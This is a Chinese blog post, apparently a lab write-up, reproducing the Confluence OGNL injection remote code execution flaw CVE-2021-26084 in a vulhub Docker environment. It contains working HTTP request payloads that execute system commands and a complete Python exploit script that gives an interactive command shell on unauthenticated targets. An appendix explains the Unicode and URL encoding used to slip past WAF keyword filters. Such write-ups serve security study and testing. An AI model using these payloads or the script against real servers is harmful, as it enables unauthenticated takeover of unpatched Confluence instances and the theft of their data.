Confluence 远程代码执行漏洞(CVE-2021-26084)复现:OGNL 表达式注入全流程拆解

本文针对 Confluence 远程代码执行漏洞(CVE-2021-26084) 展开技术复现与原理剖析。该漏洞源于 Confluence 在处理 Web 请求参数时,由于对用户输入校验不严,导致恶意构造的参数被传入 OGNL(Object-Graph Navigation Language) 表达式解析引擎中执行。 文章详细拆解了攻击者如何利用特定的参数注入点绕过安全限制,通过精心构造的 OGNL 表达式 劫持服务器逻辑,最终在无需身份验证的情况下实现远程命令执行(RCE)。

漏洞基础信息

漏洞编号 CVSS 评分 影响版本 漏洞类型
CVE-2021-26084 9.8 Atlassian Confluence Server/Data Center < 6.13.23、 < 7.4.11、 < 7.11.6、 < 7.12.5、 < 7.13.0 远程代码执行 (RCE)

漏洞复现

复现环境准备

使用vulhub快速搭建漏洞环境,由于 Confluence 比较消耗资源,建议将配置适当调高一些:

┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose    # 安装Docker和docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git  # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/confluence/CVE-2021-26084

┌──(root㉿kali)-[~/vulhub/confluence/CVE-2021-26084]
└─$ docker-compose up -d    # 拉取镜像并启动容器

└─$ docker ps   # 确认容器启动状态
1b486095f893   vulhub/confluence:7.4.10   "/usr/bin/tini -- /e…"   14 seconds ago   Up 13 seconds   0.0.0.0:8090->8090/tcp, :::8090->8090/tcp, 8091/tcp   cve-2021-26084-web-1
c2fa3aed9f50   postgres:12.8-alpine       "docker-entrypoint.s…"   14 seconds ago   Up 13 seconds   5432/tcp                                              cve-2021-26084-db-1

需要正确配置Confluence才能复现漏洞,访问http://target-IP:8090开始配置,选择 Confluence Questions:

CVE-2021-26084-web页面

然后这里需要 License ,点击 Get an evaluation license ,注册并申请一个 License 即可,申请的时候选择 not install yet

CVE-2021-26084-license

Choose your deployment type 选择 Standalone ,进入数据库配置页面:

CVE-2021-26084-配置界面

之前拉起容器的时候还有一个 PostgreSQL 容器,配置数据库之前要修改一下 postgres 的密码:

┌──(root㉿kali)-[~/vulhub/confluence/CVE-2021-26084]
└─$ docker exec -it cve-2021-26084-db-1 bash  
bash-5.1# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# PostgreSQL处于安全考虑,禁止以root用户身份启动或直接操作服务端命令。目前是root权限。为了执行数据库操作,需要切换到PostgreSQL的专用非特权用户(通常用户名就是 postgres)
bash-5.1# su - postgres
c9955115ceed:~$ psql
psql (12.8)
Type "help" for help.

postgres=# ALTER USER postgres WITH PASSWORD 'psql@123';
ALTER ROLE

修改之后如下图开始配置,在 Docker Compose 中,容器间通信通常使用服务名(如 db),而不是物理机 IP:

CVE-2021-26084-连接数据库

配置好后选择 Example Site ,设置管理员账号信息即可配置完成:

CVE-2021-26084-正式页面

目标探测

端口扫描与服务识别

┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" target-IP

# 扫描结果
PORT     STATE SERVICE VERSION
8090/tcp open  http    Apache Tomcat (language: en)
MAC Address: 00:0C:29:B3:23:74 (VMware)

看到 8090 端口开放,运行着 Apache Tomcat(这是Confluence 的默认端口)。 访问 http://target-IP:8090,进入 Confluence 界面。

攻击过程

漏洞检测

该漏洞的核心在于 queryString 参数的 OGNL 注入。通过构造一个简单的数学计算来验证漏洞是否存在,这种检测方式与之前的 Apache Struts2 S2-059 远程代码执行漏洞 (CVE-2019-0230) 复现 相同。

使用 BurpSuite 向存在漏洞的路径 /pages/doenterpagevariables.action 发送 POST 请求:

POST /pages/doenterpagevariables.action HTTP/1.1

Host: target-IP:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b123*123%7d%2b%5cu0027

返回结果为:

CVE-2021-26084-burpsuite重放123

本漏洞有多个接口可触发,/pages/doenterpagevariables.action路径对应的 queryString 参数被直接传递到了 Velocity 模板中,利用链非常短,Payload 构造简单稳定。而且即使是匿名用户(未登录)也可以访问,这直接将漏洞级别从“有条件的攻击”提升到了“远程代码执行(RCE)”。

/pages/doenterpagevariables.action
/pages/createpage-entervariables.action

关于 Payload 的解释请参见附录。

执行任意命令

确认漏洞存在之后再尝试一个 Payload :

POST /pages/doenterpagevariables.action HTTP/1.1

Host: target-IP:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1064

queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027

可以看到靶机成功返回了 id 命令的结果:

CVE-2021-26084-burpsuite重放

关于 Payload 的解释请参见附录。

获取WebShell

使用 Python 脚本获取 WebShell ,本段代码由hev0x编写:

#!/usr/bin/python3

import requests
import optparse
from bs4 import BeautifulSoup
import optparse 
from requests.packages import urllib3
urllib3.disable_warnings()

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://confluencexxx.com")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x", default="/pages/createpage-entervariables.action?SpaceKey=x")

options, args = parser.parse_args()
session = requests.Session()

url_vuln = options.url
endpoint = options.path

if not options.url:

    print('[+] Specify an url target')
    print('[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x')
    print('[+] Example help usage: exploit.py -h')
    exit()

def cmdExec():

    while True:

        cmd = input('> ')

        xpl_url = url_vuln + endpoint   
        xpl_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", 
                       "Connection": "close", 
                       "Content-Type": "application/x-www-form-urlencoded", 
                       "Accept-Encoding": "gzip, deflate"}      
        xpl_data = {"queryString": "confluence_shell\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
        rawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data, verify=False)

        soup = BeautifulSoup(rawHTML.text, 'html.parser')
        queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']
        print(queryStringValue)

banner()
cmdExec()

执行脚本 python Confluence_OGNLInjection.py -u http://target-IP:8090

CVE-2021-26084-poc

成功!这段代码的原理和 Payload2 有异曲同工之妙,此处不再解读。

漏洞核心原理

Confluence 使用了 WebWork 框架,在处理请求参数时,框架会解析 URL 或 POST 表单中的数据。在某些特定的 .action 页面中,后端代码将用户输入的字符串直接放入了 WebWork 标签的属性中进行渲染。当页面重新渲染回显这些参数时,OGNL 引擎会误认为这串字符是一个可执行的表达式,从而对其进行二次解析并执行。

附录

Payload 1

为什么 ${6*6} 无法生效

在之前的漏洞复现中使用过 ${6*6} 这个 Payload ,然而在这里是行不通的,因为在 Confluence 内部,它使用了一个类似于 Struts2 的 WebWork 框架。当后端接收到 queryString 参数并准备将其显示在 HTML 页面上时,它默认将其视为 Plain Text(纯文本)${} 语法通常只在配置文件(如 xwork.xml)或特定的标签(如 <ww:property />)中才会被自动解析。而在正常的 HTTP 参数传递中,系统只会把 ${6*6} 当作一串普通的 6 个字符。

使用 + 号拼接

假设后端代码是这样写的: String message = "The query result is: " + userInput; 如果输入 ${6*6},它只是字符串的一部分:"The query result is: ${6*6}"

当我们输入 \u0027+{6*6}+\u0027 时,由于单引号\u0027的存在,拼接逻辑变成了: "The query result is: " + '' + {6*6} + ''

中间的 + 号在 OGNL 引擎中不再是文本连接符,而是变成了 表达式连接符。它迫使解析器停止处理字符串,转而计算大括号 {} 内部的表达式。

进一步转码

在 URL 中,反斜杠 \ 属于特殊字符。如果直接发送,某些 Web 服务器(如新版 Tomcat)会认为这是非法字符并拒绝请求(返回 400 错误),或者将其静默丢弃。%5c\ 的标准 URL 编码,确保它能安全到达后端。

Java 内部字符串本身也需要 \ 来转义引号。为了保证这些 \ 在多层解析后依然存在,必须在最前端进行彻底的百分号编码。

因此最终的 Payload 变成了:%5cu0027%2b%7b6*6%7d%2b%5cu0027

Payload 2

结构分析

这段代码大量使用了 Unicode 编码,连函数名 eval 都进行了 Unicode 转码(eval->%5cu0065val),这是为了逃避基于关键词扫描的 WAF(Web 应用防火墙)。

由上文可知这段 Payload 的整体骨架是: \u0027 + { 表达式 } + \u0027,表达式核心调用使用了更底层的 JS 引擎调用Class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(...) 这种方式利用 Java 内部的 JavaScript 引擎(Nashorn)来执行复杂的逻辑,具有极强的灵活性。

逻辑分析

我们将 eval() 括号里的内容进行还原,会发现这是一个完整的 Java 服务端脚本:

跨平台判断
var isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");

它首先判断靶机是 Windows 还是 Linux,以便决定后面调用 cmd.exe 还是 bash

构造执行器
var cmd = new java.lang.String("id"); // 这里的 "id" 是需要执行的命令
var p = new java.lang.ProcessBuilder();
if(isWin){ p.command("cmd.exe", "/c", cmd); } 
else{ p.command("bash", "-c", cmd); }
p.redirectErrorStream(true); // 将标准错误流合并到输出流中,防止报错看不见
var process = p.start();
获取回显

这段代码手动读取了进程的输出流:

var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line = ""; var output = "";
while((line = bufferedReader.readLine()) != null){
    output = output + line + java.lang.Character.toString(10); // 逐行读取并累加回显内容
}

总结

这段 Payload 兼容性很强,通杀 Win/Linux 靶机;实现了全 Unicode 转码绕过过滤;直接在网页上看到命令结果,不需要反弹 Shell 也能拿数据。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇